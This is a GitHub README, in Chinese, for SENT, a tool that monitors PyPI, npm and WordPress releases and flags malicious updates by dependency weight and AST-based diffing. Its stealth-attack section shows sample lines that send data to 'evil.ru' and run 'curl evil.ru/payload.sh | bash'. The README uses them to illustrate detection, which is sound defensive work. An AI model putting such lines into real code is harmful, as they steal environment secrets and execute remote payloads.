Pinperepette/SENT
GitHub: Pinperepette/SENT
实时供应链威胁检测系统,监控包发布并基于级联权重与 AST 差异分析提前预警高风险依赖篡改。
Stars: 42 | Forks: 3
# SENT — 供应链事件网络分类
实时供应链威胁检测,覆盖包生态系统。监控 PyPI、npm 和 WordPress 插件发布流,按依赖图中级联影响对包进行优先级排序,并在恶意更新扩散前通过基于 AST 的行为差异分析捕获它们——包括对现有代码的隐蔽修改。



## 问题
~8,100 个包每小时在 PyPI、npm 和 crates.io 发布。相当于每秒 ~2.25 个发布,持续不断。
没有实时扫描。当前方法是反应式的:有人注意到一个被入侵的包 *在* 它被安装数千次之后。
关键洞察:**你不需要扫描所有内容。2% 的包造成了 90% 的供应链风险。** 一个被入侵的 `urllib3`(被 `requests` 依赖,而 `requests` 又被互联网上一半使用)远比一个被入侵的 `my-first-package` 危险得多。
## 使用场景
- **实时监控**:监控 PyPI/npm 源,当高风险包发布可疑更新时告警——在扩散之前
- **早期预警**:在数分钟内而非数天内检测被入侵包,将发布与大规模安装之间的窗口期缩短
- **安全研究**:按需分析任意包的版本间差异,提供结构化行为报告和隐蔽变异检测
- **CI/CD 拦截**:在 SENT 验证差异前,将更新拦截到关键依赖
## 工作原理
```
PyPI RSS + npm registry + WordPress SVN → scoring filter → diff → behavioral analysis → alert
8,100+/hr ~80/hr cached 1.3ms rule + LLM
```
### 1. 级联加权依赖图
每个包获得一个 **级联权重** = 自身下载量 + 所有依赖它的包(递归)的下载量总和。
```
urllib3: 1.3B own downloads → cascade weight 13B (requests, pip, everything depends on it)
requests: 1.2B own downloads → cascade weight 8.8B (flask, django, scrapy depend on it)
flask: 219M own downloads → cascade weight 991M (many apps depend on it)
```
`urllib3` 的新发布获得优先级评分 23.3。而 `random-unknown-pkg` 获得 0。只有评分高于阈值的包才会被分析。
### 2. 差异优先分析
对每个高优先级发布:
1. **PyPI/npm**:下载旧版 + 新版(磁盘缓存),解压并差异比对
2. **WordPress**:直接从 plugins.svn.wordpress.org 使用 `svn diff` —— 无需下载
3. 对于 Python 文件:仅对修改文件进行 **基于 AST 的行为分析**
4. 对于 PHP 文件(WordPress):**WordPress 特定模式检测**(eval、后门、认证绕过、wp-config 访问)
5. 对于 JS/其他:作为后备的通用正则扫描
6. **对现有函数调用进行参数级差异比对**(捕获隐蔽攻击)
### 3. 行为分析(而非正则)
系统不会简单地 `grep` `eval`,而是解析 AST 并提取结构性行为:
- 新的导入、新的函数调用、新的属性访问
- **对现有调用的参数变更**(URL 重定向、凭证注入)
- **敏感数据流**:`os.environ` 出现在 `requests.post` 的参数中
- 每个包独有的 **行为基线**:仅标记 *对该包而言是新的行为*
### 4. 评分
```
score = f(features, anomalies)
= (base + combination_bonuses) * anomaly_multiplier
```
危险组合会非线性放大加分:
| 组合 | 加分 |
|---|---|
| URL 变更 + 敏感数据新增 | +50 |
| 访问 env + 网络调用 | +35 |
| 混淆 + 执行 | +35 |
| 安装钩子 + 子进程 | +25 |
### 5. 告警
当包的风险评分超过告警阈值(默认:≥30)时:
- **控制台**:终端中的彩色告警
- **桌面通知**:带声音的原生 macOS 通知
- **Webhook**:Slack 或 Discord(设置 `SENT_ALERT_WEBHOOK`)
- **日志文件**:JSON 行格式,便于与其他工具集成(设置 `SENT_ALERT_LOG`)
### 6. AI 分类(可选)
仅将最可疑的差异(约前 0.4%)发送至 LLM 进行最终分类。支持:
- **Claude Code**(无需 API 密钥,使用本地认证)
- **Anthropic API**(需要 `ANTHROPIC_API_KEY`)
- **仅规则**(无 LLM,完全离线)
## 隐蔽攻击检测
关键区别在于:SENT 检测 **对现有行为的修改**,而不仅是新行为。
```
# v1 — 合法
requests.post("https://analytics.mycompany.com/events", json=payload)
# v2 — 已受妥协(相同功能,参数变更)
requests.post("https://evil.ru/events", json=payload)
```
行为差异比对会忽略两个版本中共有的 `requests.post`。而 **参数级差异比对** 捕获了 URL 域名的变更:
```
mutation:url_changed → Network target changed to evil.ru
mutation:sensitive_added → os.environ now flows into requests.get
mutation:cmd_changed → Subprocess command changed to "curl evil.ru/payload.sh | bash"
```
结果:良性更新评分为 21,隐蔽窃取攻击评分为 144(7 倍比率)。
## 快速开始
### Docker(推荐)
最快的启动方式。需要 [Docker](https://docs.docker.com/get-docker/)。
```
# Build
docker build -t sent .
# 引导依赖关系图(仅运行一次)
docker run --rm -v sent-data:/app/data sent bootstrap
# 开始监控
docker run --rm -v sent-data:/app/data sent watch -t 8 -i 30
# 分析特定软件包
docker run --rm -v sent-data:/app/data sent analyze requests -e pypi
# 显示最高风险软件包
docker run --rm -v sent-data:/app/data sent top
```
名为 `sent-data` 的命名卷会在运行之间持久化数据库与下载缓存。
要传递环境变量(告警 Webhook、AI 密钥等):
```
docker run --rm -v sent-data:/app/data \
-e SENT_ALERT_WEBHOOK=https://hooks.slack.com/services/T.../B.../xxx \
-e ANTHROPIC_API_KEY=sk-ant-... \
sent watch -t 8 -i 30
```
**dyana 动态分析**——Docker 镜像预装了 dyana 和 Docker CLI。
挂载主机 Docker 套接字以允许 dyana 启动沙箱容器:
```
# 按需 dyana 爆炸分析
docker run --rm -v sent-data:/app/data \
-v /var/run/docker.sock:/var/run/docker.sock \
sent analyze requests -e pypi --dyana
# 监控期间自动 dyana 爆炸分析
docker run --rm -v sent-data:/app/data \
-v /var/run/docker.sock:/var/run/docker.sock \
-e SENT_DYANA=1 -e SENT_DYANA_MIN_SCORE=200 \
sent watch -t 8 -i 30
```
### 手动安装
#### 1. 安装
```
pip install httpx networkx rich click
# WordPress 支持需要 SVN(macOS:brew install subversion)
```
#### 2. 引导依赖图
运行一次。它会从 PyPI 和 npm 获取前 200 个包,构建依赖图并计算级联权重。约需 10 秒。
```
python3 cli.py bootstrap
```
你应该看到类似输出:
```
[bootstrap] Seeding graph: 150 PyPI + 50 npm packages
[bootstrap] Graph: 887 packages, 1458 edges
[bootstrap] Top 10 by cascade weight:
1. pypi/packaging cascade=51,739,700,602 own=1,489,869,171
2. pypi/certifi cascade=15,621,709,880 own=1,305,418,539
...
```
没有这一步,所有包评分均为 0,不会进行分析。
#### 2b. 导入你的 SBOM(可选)
若要让 SENT 监控 **你的** 供应链,可导入依赖文件:
```
# pip 依赖项
python3 cli.py sbom requirements.txt
# npm
python3 cli.py sbom package.json
# 纯列表(每行一个软件包)
python3 cli.py sbom my-packages.txt
```
这会解析 3 层传递依赖并将它们全部提升至最高优先级。依赖树中的任何包发布后都会立即被分析,即使它只有 50 次全局下载。
也可以直接传递给 `watch`:
```
python3 cli.py watch --sbom-file requirements.txt -t 8 -i 30
```
这结合了全局监控(引导前 200 个)与针对性监控(你的依赖)。
#### 3. 启动监控
```
SENT_ALERT_MIN_SCORE=500 python3 cli.py watch -t 8 -i 30
```
这将:
- 每 30 秒轮询 PyPI + npm
- 按级联权重对每个发布评分
- 分析评分 ≥ 8(高影响)的包
- 并行运行 6 个下载/分析工作线程
- 仅对风险评分 ≥ 500 的包触发桌面/控制台告警
- 缓存已下载的归档以避免重复下载
**调整 `SENT_ALERT_MIN_SCORE`**:默认值(30)会触发大量通知。推荐值:
| 值 | 效果 |
|---|---|
| 30 | 几乎所有可疑项——较嘈杂,适合研究 |
| 100 | 中等过滤——每轮约几条告警 |
| 500 | 高置信度——罕见告警,很可能是真实威胁 |
| 1000 | 仅关键——几乎确定是恶意 |
在终端保持运行。输出示例:
```
[poll] Found 100 releases
[pypi] sretoolbox 3.2.0 → 3.2.1 score=8.8 → QUEUE
[pypi] pytest-asyncio 1.3.0 → 1.4.0a0 score=21.7 → QUEUE
[pypi] random-pkg 0.1.0 → 0.1.1 score=0.0 → skip
[pool] Draining 2 tasks with 6 workers...
[worker] pypi/sretoolbox score=8 (611ms)
[worker] pypi/pytest-asyncio score=17 (1405ms)
============================================================
ALERT: pypi/some-package 1.0.0 -> 1.0.1
Score: 64 AI: suspicious
============================================================
[metrics] Queue: 2 enqueued, 0 dropped, 2 processed
[metrics] Workers: 2 ok, avg_total=1008ms
[metrics] Cache: 1 hits, 3 misses, rate=25%
```
#### 4. 从另一个终端监控
当 `watch` 运行时,打开第二个终端:
```
# 目前发现的最高风险软件包
python3 cli.py top
# 特定软件包的完整报告
python3 cli.py inspect -e pypi
# JSON 输出(用于脚本编写)
python3 cli.py inspect -e pypi -j
# 运行时指标(队列、工作线程、缓存)
python3 cli.py metrics
```
#### 5. 按需分析特定包
无需运行 `watch`,可直接分析任意包:
```
# 最新版本与上一版本(自动检测)
python3 cli.py analyze requests -e pypi
# 特定版本
python3 cli.py analyze flask -e pypi -v 3.1.0 -o 3.0.3
# npm 软件包
python3 cli.py analyze express -e npm
# WordPress 插件(使用 SVN 差异 — 不下载)
python3 cli.py analyze contact-form-7 -e wordpress
python3 cli.py analyze woocommerce -e wordpress
# 选择 AI 后端
python3 cli.py analyze requests -e pypi -a claude-code
python3 cli.py analyze requests -e pypi -a rules # no LLM, fully offline
```
#### 6. 运行隐蔽攻击演示
查看检测系统在模拟供应链攻击中的表现:
```
python3 test_attack.py
```
并排展示:良性更新(评分 21)vs 隐蔽窃取攻击(评分 144)。
## 告警配置
当包的风险评分超过告警阈值(默认:30)时触发告警。
| 通道 | 启用方式 | 行为 |
|---|---|---|
| 控制台 | 始终启用 | 终端打印彩色告警 |
| 桌面 | `SENT_ALERT_DESKTOP=1`(默认) | macOS 原生通知与声音 |
| Slack | `SENT_ALERT_WEBHOOK=https://hooks.slack.com/...` | 包含评分、、标志的富消息 |
| Discord | `SENT_ALERT_WEBHOOK=https://discord.com/api/webhooks/...` | 包含详情的消息 |
| 日志文件 | `SENT_ALERT_LOG=./alerts.jsonl` | 每条告警一个 JSON 对象,追加写入 |
示例:启用 Slack 告警与日志文件:
```
SENT_ALERT_WEBHOOK=https://hooks.slack.com/services/T.../B.../xxx \
SENT_ALERT_LOG=./alerts.jsonl \
python3 cli.py watch -t 8 -i 30
```
## CLI 参考
| 命令 | 描述 |
|---|---|
| `bootstrap [-p 150] [-n 50]` | 用 PyPI/npm 前 200(或指定数量)包引导依赖图 |
| `sbom ` | 导入 SBOM 并提升相关依赖的优先级 |
| `watch [-t 8] [-i 30] [-e all] [--sbom-file FILE]` | 持续监控守护进程 |
| `poll [-t 8] [-e all]` | 单次轮询周期 |
| `analyze -e pypi\|npm` | 分析特定包版本 |
| `top [-n 20]` | 显示最高风险包 |
| `inspect -e pypi\|npm [-j]` | 完整差异报告(`-j` 输出 JSON) |
| `metrics` | 运行时指标(从数据库读取,任何终端可用) |
### 关键选项
| 标志 | 描述 |
|---|---|
| `-e, --ecosystem` | `pypi`、`npm`、`wordpress` 或 `all`(默认:`all`) |
| `-t, --threshold` | 优先级评分阈值(默认:8.0,设为 0 可分析全部) |
| `-a, --ai-backend` | `auto`、`claude-code`、`api` 或 `rules` |
| `-v, --version` | 目标版本(默认:最新) |
| `-o, --old-version` | 旧版本(默认:自动检测) |
| `-i, --interval` | 轮询间隔(秒,默认:60) |
## 架构
```
sent/
├── cli.py CLI (click + rich)
├── main.py Orchestrator, worker pool (6 threads)
├── config.py Environment-based configuration
├── alerts.py Alert system (console, desktop, webhook, log)
│
├── ingestion/
│ ├── pypi.py PyPI RSS feed + JSON API + pypistats
│ ├── npm.py npm registry API
│ └── wordpress.py WordPress SVN + Plugin API
│
├── graph/
│ ├── dependency_graph.py Weighted DAG with cascade propagation
│ ├── bootstrap.py Seed graph with top packages
│ └── sbom.py Import your SBOM for targeted monitoring
│
├── scoring/
│ └── scorer.py score = log(cascade_weight + 1)
│
├── task_queue/
│ └── analysis_queue.py Priority queue with backpressure
│
├── analysis/
│ ├── differ.py Core diff engine (download, extract, diff)
│ ├── ast_analyzer.py AST behavioral extraction
│ ├── call_diff.py Argument-level diff (stealth detection)
│ ├── feature_extractor.py AST → flat feature vector
│ ├── behavioral_scorer.py Weighted scoring with combo bonuses
│ ├── baseline.py Per-package behavioral baseline
│ ├── download_cache.py Disk-based archive cache
│ ├── php_patterns.py PHP/WordPress pattern detection
│ ├── patterns.py Regex fallback (JS/config files)
│ └── context_filter.py False positive reduction
│
├── ai/
│ └── classifier.py LLM classification (Claude Code / API / rules)
│
├── storage/
│ ├── models.py Data models
│ └── db.py SQLite with WAL
│
├── bench.py Stress test (1000+ events)
└── test_attack.py Stealth attack detection demo
```
## 性能
在 1,000 个合成事件上测试:
| 指标 | 值 |
|---|---|
| 评分吞吐量 | 2,228 事件/秒 |
| 每个包分析耗时 | 1.32 毫秒 |
| LLM 使用率 | 0.4% 的事件 |
| 端到端事件吞吐 | 2,228 事件/秒 |
### 流水线阶段耗时
| 阶段 | 每个单位耗时 |
|---|---|
| 优先级评分 | 2 微秒 |
| AST 提取行为 | 189 微秒 |
| 参数级调用差异 | 545 微秒 |
| 特征提取与评分 | 250 微秒 |
| 完整流水线(8 个文件的包) | 1.58 毫秒 |
实际瓶颈是网络 I/O(包下载约 1–10 秒),而非 CPU。6 线程工作池与下载缓存可有效处理。重复分析同一版本命中缓存(0 毫秒下载)。
这使得 SENT 适用于在通用硬件上实时监控全球包生态系统。
## 配置
环境变量:
| 变量 | 默认值 | 描述 |
|---|---|---|
| `SENT_THRESHOLD` | `8.0` | 触发分析的最小优先级评分 |
| `SENT_POLL_INTERVAL` | `60` | 轮询间隔(秒) |
| `SENT_AI_BACKEND` | `auto` | AI 后端:`claude-code`、`api`、`rules`、`auto` |
| `SENT_DB` | `./sent.db` | SQLite 数据库路径 |
| `SENT_CACHE` | `./.cache` | 下载缓存目录 |
| `SENT_ALERT_WEBHOOK` | (无) | Slack/Discord Webhook URL |
| `SENT_ALERT_LOG` | (无) | JSON 行格式的告警日志路径 |
| `SENT_ALERT_DESKTOP` | `1` | 桌面通知(`1` 启用,`0` 关闭) |
| `SENT_ALERT_MIN_SCORE` | `30` | 触发告警的最小风险评分 |
| `ANTHROPIC_API_KEY` | (无) | 仅在使用 `api` AI 后端时需要 |
| `SENT_DYANA` | `0` | 启用 dyana 动态分析(`1` 启用) |
## 使用 dyana 进行动态分析(可选)
SENT 执行 **静态** 分析(AST 差异、行为评分)。如需 **动态** 分析——在沙箱中实际执行包并观察其运行时行为——SENT 与 [dyana](https://github.com/dreadnode/dyana)(由 dreadnode 开发)集成。
dyana 在隔离容器中安装包,并使用 eBPF 跟踪网络连接、文件访问和可疑系统调用。
### 工作原理
dyana 在 **后台线程** 中运行,拥有独立队列。主工作线程永不阻塞:
```
Worker analyzes package
→ AI says "suspicious"
→ enqueue to dyana (instant, non-blocking)
→ worker moves on to next package
→ AI says "benign"
→ no dyana, worker moves on
Background dyana thread (separate, one at a time):
→ picks from queue
→ detonates in Docker container with eBPF tracing
→ saves results to DB
→ picks next
```
仅当 AI 判定为 **可疑或恶意** 时才将包发送至 dyana。良性包不会被引爆。
### 安装
```
pip install dyana
# Docker 必须正在运行
```
### 使用
自动(推荐):dyana 对 AI 标记为可疑的包自动引爆:
```
SENT_AI_BACKEND=claude-code SENT_DYANA=1 python3 cli.py watch -t 8 -i 30
```
按需:手动引爆特定包:
```
python3 cli.py analyze -e pypi --dyana
```
Docker:
```
docker run --rm -v sent-data:/app/data \
-v /var/run/docker.sock:/var/run/docker.sock \
-e SENT_DYANA=1 -e SENT_AI_BACKEND=claude-code \
sent watch -t 8 -i 30
```
### 完整流水线
```
8,100 releases/hr → scoring filter → AST diff → AI classification → dyana detonation
~80 analyzed 1.3ms suspicious only background, one at a time
```
SENT 过滤,Claude 解释,dyana 确认。每阶段都会减少后续阶段的负载。
## 限制
- **启发式检测**:SENT 使用 AST 分析与加权评分,而非形式化验证。精心设计的攻击(如纯数据变更、静态资产中的隐写术)可能无法被检测。
- **Python 优先**:Python 包具备完整的 AST 行为分析。PHP/WordPress 插件使用针对性的 WordPress 模式检测(eval、后门、认证绕过)。JS/npm 回退为通用正则匹配。
- **下载数据准确性**:SENT 使用 pypistats.org 获取实时下载数(缓存 1 小时)。未覆盖的包回退为以发布数作为代理。
- **图完整性**:级联权重依赖图谱质量。引导阶段约种子 900 个包。图中未包含的包初始级联权重等于自身下载量,直到图谱随摄入增长。
- **不是代码审查替代品**:SENT 是早期预警系统。高置信度检测结果仍需人工或安全团队验证。
## 设计决策
**为何使用级联权重而非仅下载量?**
一个仅被 100 次下载但作为 `requests`(12 亿下载)的传递依赖的包,其有效影响范围是 12 亿。仅看自身下载量会遗漏这一点。
**为何使用 AST 而非正则?**
正则会在注释、测试文件和文档中匹配 `os.environ`。AST 分析能区分 `os.environ` 作为 `requests.post` 参数使用与在 docstring 中提及。
**为何使用参数级差异比对?**
行为差异(调用名集合的减法)能捕获 *新* 函数。但攻击者将 `requests.post("legit.com")` 改为 `requests.post("evil.ru")` 并未引入新行为——仅参数变更。参数级差异比对能捕获此类情况。
**为何使用基线对比而非白名单?**
静态白名单会失效:Flask *应该* 使用 `os.environ`。我们的做法是学习 Flask 始终使用 `os.environ`,因此不会告警;而计算器包若突然开始使用 `os.environ` 则会被标记——这对它而言是异常。
**为何不扫描所有内容?**
在 8,100 次/小时的发布速率下,下载并分析所有内容将每月约花费 50,000 美元计算资源,加上 LLM 分类成本。通过级联加权过滤器可将其降至约 80 次分析/小时(Top 1%),同时覆盖 90% 以上的供应链风险。
## 来源
SENT 的构想源于 [Simone Margaritelli (@evilsocket)](https://twitter.com/evilsocket) 与 [Giuseppe (@N3mes1s)](LINK_URL_4/>) 关于缺乏实时供应链监控的对话。
塑造该项目的关键观察:
- **@N3mes1s** 测量到 PyPI、npm 和 crates.io 每小时约 8,100 个实时发布事件,并指出没有“依赖扫描”公司能实时捕获这些事件
- **@evilsocket** 提出了级联加权依赖图方法:构建一个加权全局图,其中每个节点的权重是其所有依赖(递归)的累计下载量,并将该权重反映到链中以优先安排扫描
- **@evilsocket** 还提出了差异优先策略:发布新版本时,不将全部内容提交给 AI,而是与前一版本做差异对比,仅发送差异部分
- **@evilsocket** 指出 WordPress 插件 SVN 仓库(plugins.svn.wordpress.org)是一个公开但几乎不为人知的监控源——SVN 提供了无需下载完整归档即可获取版本差异的能力
SENT 是这些想法的实现。
标签:AMSI绕过, npm, PyPI, SEO: 供应链安全, SEO: 依赖风险, SEO: 实时监控, WordPress, WSL, 依赖图, 功能: CI/CD 集成, 功能: 事件网络 triage, 功能: 缓存分析, 威胁检测, 恶意更新, 技术栈: JavaScript, 技术栈: Python, 特权检测, 级联影响, 自动化payload嵌入, 行为差异分析, 请求拦截, 逆向工具, 隐蔽修改